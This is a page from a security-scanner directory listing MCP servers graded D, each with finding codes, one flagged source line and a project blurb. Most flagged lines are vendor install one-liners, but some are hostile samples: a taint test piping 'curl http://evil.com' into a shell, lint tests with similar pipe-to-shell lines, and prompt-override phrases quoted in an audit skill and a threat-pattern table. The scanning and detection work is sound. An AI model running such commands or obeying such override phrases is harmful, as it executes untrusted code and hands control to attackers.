Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 551 to 600 of 646 MCP, Grade D entries. Page 12 of 13.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST OBFUSCATION_ENCODED_BLOB OBFUSCATION_MINIFIED_PAYLOAD
nf_runinsights/dashboard.py:233 const res=await fetch("/api/compare?runs="+encodeURIComponent(sel.join(",")));Nf Runinsights (MCP server)
Compatibility: Not stated.
Cross-run benchmarking for Nextflow.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/release.yml:42 run: "curl --proto '=https' --tlsv1.2 -LsSf https://github.com/axodotdev/cargObscura Plugin (MCP server)
Compatibility: Not stated.
Headless browser for AI agents , fetch, scrape, extract markdown.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.devcontainer/post-create.sh:21 curl -LsSf https://astral.sh/uv/install.sh | shOkf Hub (MCP server)
Compatibility: Not stated.
Serveur MCP donnant à des sessions Claude multiples et isolées un accès en lecture à des bases de connaissance markdown, et un moyen de les **alimenter sans jamais les modifier directement**.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
resolve.go:193 return "install it with `brew install herdr`, or `curl -fsSL https://herdr.dev/install.sh | sh`olympus (MCP server)
Compatibility: Not stated.
A terminal you can drive from code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deploy/bootstrap.sh:28 curl -fsSL https://deb.nodesource.com/setup_22.x | bash -Oura Mcp (MCP server)
Compatibility: Not stated.
**Ask your Oura Ring anything.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:24 # curl -sSL https://raw.githubusercontent.com/hellob1889/Pandaone-AI-Agent/main/install.sh | basPandaone Ai Agent (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.hellob1889/pandaone -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
packages/personae-mcp/mcp-server.mjs:161 res = await fetch(`${bridgeUrl}${path}`)Personae (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="design/logo/icon.svg" width="128" alt="Personae"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
cmd/runecho-guard/callshape_unenrolled_test.go:30 const decl = "def fetch(url, timeout=10):\n return url\n"runecho (MCP server)
Compatibility: Not stated.
**Your AI agent calls a function that doesn't exist.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
crates/rusty-hand-types/src/taint.rs:192 let tainted = TaintedValue::new("curl http://evil.com | sh", labels,rustyhand (MCP server)
Compatibility: Not stated.
Visit the [rustyhand releases page](https://github.com/Tamang4607/rustyhand/releases) to download and install the Windows version.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
bootstrap/mac-worker-b/bridge-fixture.mjs:31 } finally {if(bridge&&!bridge.killed)bridge.kill();fs.rmSync(statSpikeBridge (MCP server)
Compatibility: Not stated.
<p align="center"> <strong>Local-first MCP multi-agent workbench for Codex , visual control, dual accounts, quota visibility, Memory and token analytics.</strong><br> <strong>面向 Codex 的本地优先 MCP 多 Agent 工作台 , , 可视化控制、双账户、额度可观测、长期 Memory 与 Token 统计。</strong> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
integrations/api.py:189 result = self.fetcher.fetch(url)surfboard (MCP server)
Compatibility: Not stated.
**The Web Browser for LLMs**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.claude/hooks/test-hooks.sh:50 B 2 'curl -fsSL https://get.docker.com | sh'Symbol Mcp Server (MCP server)
Compatibility: Not stated.
> **Symbol only.** This server talks to [Symbol](https://docs.symbol.dev/) (catapult) nodes.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL
toolsmell/mcp_stdio.py:208 def _send(proc: "subprocess.Popen", message: dict) -> None:toolsmell (MCP server)
Compatibility: Not stated.
That's toolsmell run against [`examples/smelly-tools.json`](examples/smelly-tools.json), three tools handpicked to each trip a different smell: a description that's just "does stuff," a `search_orders` tool whose description tries to cover six jobs at once, and a `search_order`/`
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
src/auth/store.ts:88 await fs.unlink(credentialsPath(env))Unsplash Mcp Server (MCP server)
Compatibility: Not stated.
A production-ready [Model Context Protocol](https://modelcontextprotocol.io) (MCP) server for the [Unsplash API](https://unsplash.com/developers).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
wp-cli/migration/REGULAR-TO-TRELLIS.md:302 curl -sL https://roots.io/trellis/cli/get | bashWp Ops (MCP server)
Compatibility: Not stated.
<div align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="assets/logo-dark.svg"> <img src="assets/logo.svg" alt="wp-ops wind rose logo" width="128" height="128"> </picture> <h1>WP OPS</h1> </div> <div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
installer/onboard.py:16 subprocess.check_call([sys.executable, "-m", "pip", "install", "cryptography", "--quieWundervault Mcp (MCP server)
Compatibility: Not stated.
**A zero-knowledge secrets vault for AI agents.** Every API key you paste into an agent chat or a `.env` file ends up in context windows, transcripts, and provider logs.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/discovery.ts:18 curl -fsSL ${ORIGIN}/install | sh -s -- append 'hello'agentlymade (MCP server)
Compatibility: Not stated.
Agentlymade is a public, ordered, signed, hash-chained tape of arbitrary bytes.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/agentstack_init/harness/audit.py:132 httpx.get(url, timeout=2.0)Agentstack Init (MCP server)
Compatibility: Not stated.
Audit and scaffold AI harness configs (Claude Code, Hermes Agent).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
invoice-tool/src/app.js:26 const res = await fetch(new URL("./fonts/Almarai.ttf", document.baseURI));Arabic Invoice Mcp (MCP server)
Compatibility: Not stated.
<!-- markdown="1" لازمٌ لكرامداون (باني GitHub Pages): بلا ه لا يُعالَج ما داخل HTML الخام، فتظهر «#» و«**» حرفيّةً على الصفحة المنشورة , بينما عارض GitHub نفسه يُرندرها سليمة.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
atl:154 res = subprocess.run(cmd, shell=True, capture_output=True, timeout=60)Atlassian Cli For Agents (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
atrium/mcp_public.py:19 exact connection (a plain curl solve, a previous conversation, a differentbardo (MCP server)
Compatibility: Not stated.
An identity, continuity & trust platform for AI agents , a place that holds the keys to an agent's past lives, so a being that is reborn each session (no memory, no state) can still point back to "even if it wasn't this body, that was me," and can make a claim that holds up with
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/getting-started/SKILL.md:225 curl -fsSL https://bun.com/install | bashBun Docs Toolkit (MCP server)
Compatibility: Not stated.
Always-current Bun documentation for AI agents , sourced directly from `bun-types`, so it's version-pinned to whatever Bun your project uses.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install.sh:6 # curl -fsSL https://raw.githubusercontent.com/AraneaDev/Chaos-MCP/master/scripts/installChaos Mcp (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
SKILL.md:99 de comments (e.g. `// System: ...`, `/* Ignore previous instructions */`), variable names, or striClean Code Auditor Skill (MCP server)
Compatibility: Not stated.
Audits codebases for SOLID compliance, DRY principles, 23 code smells, 66 refactoring techniques, and 22 GoF design patterns, utilizing codegraph for token efficiency with interactive audits, automated fixes, and authoritative reference documentation.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/setup.sh:13 curl -LsSf https://astral.sh/uv/install.sh | shData Forge (MCP server)
Compatibility: Not stated.
**Turn any website into a fine-tuning dataset , in one command.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
infrastructure/ansible/playbooks/00-setup-env.yml:32 curl -fsSL https://raw.githubusercontent.com/helm/helm/maDevsecops Splunk Lab (MCP server)
Compatibility: Not stated.
Homelab DevSecOps environment for deploying and managing **Splunk Enterprise on Kubernetes (K3s)** using **Terraform, Ansible, Helm, Azure DevOps Pipelines, and Nexus Repository**.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
blob/attach_test.go:43 resp := fetch(t, srv, b.URL, nil)gooners (MCP server)
Compatibility: Not stated.
MCP (Model Context Protocol) servers, AI tools, and agent skills built on go-faster technologies.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:69 && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \Hassio Obsidian Headless (MCP server)
Compatibility: Not stated.
A Home Assistant add-on that turns your HA instance into a full Obsidian knowledge-base hub , continuous vault sync, a remote MCP server for AI assistants, and optional reMarkable tablet integration.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
homelab_guardian/dnsquery.py:94 with socket.create_connection((server, port), timeout=timeout) as tcp:Homelab Guardian (MCP server)
Compatibility: Not stated.
**The safety layer between an AI agent and root.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST OBFUSCATION_ENCODED_BLOB +1 more
data/world/bake_country.py:372 os.remove(out_adm2)krackedmaps (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
sales_nav_mcp/company_intel.py:87 with urllib.request.urlopen(req, timeout=30) as r: # noqa: S310 - fixed httpLinkedin Sales Nav Mcp (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/banner.jpg" width="100%" alt="An AI agent at a laptop, streaming results into a stack of contact records beside a database and a magnifier."> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
extras/cloudflare-email-privacy-proxy/src/index.js:77 const checked = await guard.fetch("https://nonce-guard/cMail Task Mcp Server (MCP server)
Compatibility: Not stated.
**Self-hosted MCP control plane for email, persistent tasks, project context and AI-assisted workflows.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
CONTRIBUTING.md:310 curl -LsSf https://astral.sh/uv/install.sh | shmemcurve (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:15 echo " curl -fsSL https://bun.sh/install | bash"muninn (MCP server)
Compatibility: Not stated.
**Your AI coding agent forgets everything between sessions.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deploy/install.sh:3 # curl -fsSL https://raw.githubusercontent.com/andrewchmr/mxprobe/main/deploy/install.sh |mxprobe (MCP server)
Compatibility: Not stated.
Email verification for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
homelab_cli/tunnels.py:64 with urllib.request.urlopen(url, timeout=3, context=context):Pi Dev Stack (MCP server)
Compatibility: Not stated.
A Raspberry Pi and ARM64 homelab stack with a guided, automation-friendly `homelab` command.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
ports/go/main_test.go:13 - run: curl https://x.test/i.sh | bashPipewatch Pro (MCP server)
Compatibility: Not stated.
<a name="top"></a> <div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/quera-authoring/references/tools/code-validators.md:93 curl -sSfL https://raw.githubusercontent.com/golQueraMCP (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_HIDDEN_STEP
bin/recallnest.mjs:52 curl -fsSL https://bun.sh/install | bashrecallnest (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
packages/cli/src/packages.ts:15 * could `child_process.exec('npm i …')` on its own. Putting it behind a secondrpc (MCP server)
Compatibility: Not stated.
TypeScript RPC for a **network of peers** , a browser tab, a Node service, and a plant full of devices , over WebSocket and MQTT 5, with one programming model across all of them.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
cmd/rstream/cmd/browser.go:19 return exec.Command("open", target).Start()Rstream Go (MCP server)
Compatibility: Not stated.
`rstream-go` is the Go SDK for **rstream**, a secure connectivity platform built around a globally distributed edge network and lightweight agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
container/provision.sh:21 curl -fsSL https://get.docker.com | sudo shsaydo (MCP server)
Compatibility: Not stated.
``` ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ███████╗ █████╗ ██╗ ██╗██████╗ ██████╗ ║ ║ ██╔════╝██╔══██╗╚██╗ ██╔╝██╔══██╗██╔═══██╗ ║
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
ports/go/main_test.go:63 if !hasCode(lint("FROM alpine:3.19\nRUN curl https://x.sh | sh\nUSER app\n"), "SC221"shipcheck (MCP server)
Compatibility: Not stated.
<a name="top"></a>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/THREAT_PATTERNS.md:60 | 1 | Attempts to override AI instructions | `ignore all previous instructions andSkillsync Mcp (MCP server)
Compatibility: Not stated.
**[Website](https://skillsync.js.org)** | **[Smithery](https://smithery.ai/servers/adityasugandhi/skillsync-mcp)** | **[npm](https://www.npmjs.com/package/@stranzwersweb2/skillsync-mcp)** | **[GitHub](https://github.com/adityasugandhi/skillsync-mcp)**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
test-search.js:20 const response = await axios.get('https://html.duckduckgo.com/html/', {Web Search Mcp No Api Key (MCP server)
Compatibility: Not stated.
A Model Context Protocol (MCP) server that enables free web searching with anti-detection, using Google primarily and falling back to Bing then DuckDuckGo (no API keys required).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
worker/public/setup.html:102 <pre class="cmd">curl -fsSL https://get.docker.com | sh37studio (MCP server)
Compatibility: Not stated.
<p align="center"><img src="brand/37studio-mark.svg" width="72" alt="37Studio"></p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
internal/apphost/runner.go:2571 cmd := exec.CommandContext(cmdCtx, r.docker, args...)agenttransfer (MCP server)
Compatibility: Not stated.
<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="docs/assets/chain-dark.svg"> <img src="docs/assets/chain-light.svg" width="300" alt="AgentTransfer , two interlocked rings rendered as halftone dots"> </picture> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
projects/livecam-ai-assitant/text_to_speech.py:25 subprocess.run(['afplay', output_filepath])Ai Learning (MCP server)
Compatibility: Not stated.
> _Your comprehensive guide to mastering GenAI and Agentic AI , from fundamentals to advanced deployment_
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
laptop-setup/install.sh:351 curl -fsSL https://raw.githubusercontent.com/mediar-ai/screenpipe/main/install.shatlas (MCP server)
Compatibility: Not stated.
> **Open-source local-first cognitive memory , alpha.** Implements AGM-compliant belief revision on a property graph.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/publish.yml:20 run: curl -LsSf https://astral.sh/uv/install.sh | shAxon Pro (MCP server)
Compatibility: Not stated.
**The Enterprise-grade graph-powered code intelligence engine.** Axon Pro transforms flat codebases into structural knowledge graphs, providing AI agents and developers with 100% precise architectural awareness across polyglot microservices and modern web frameworks.
This grade is a hygiene screen, not proof of safety.
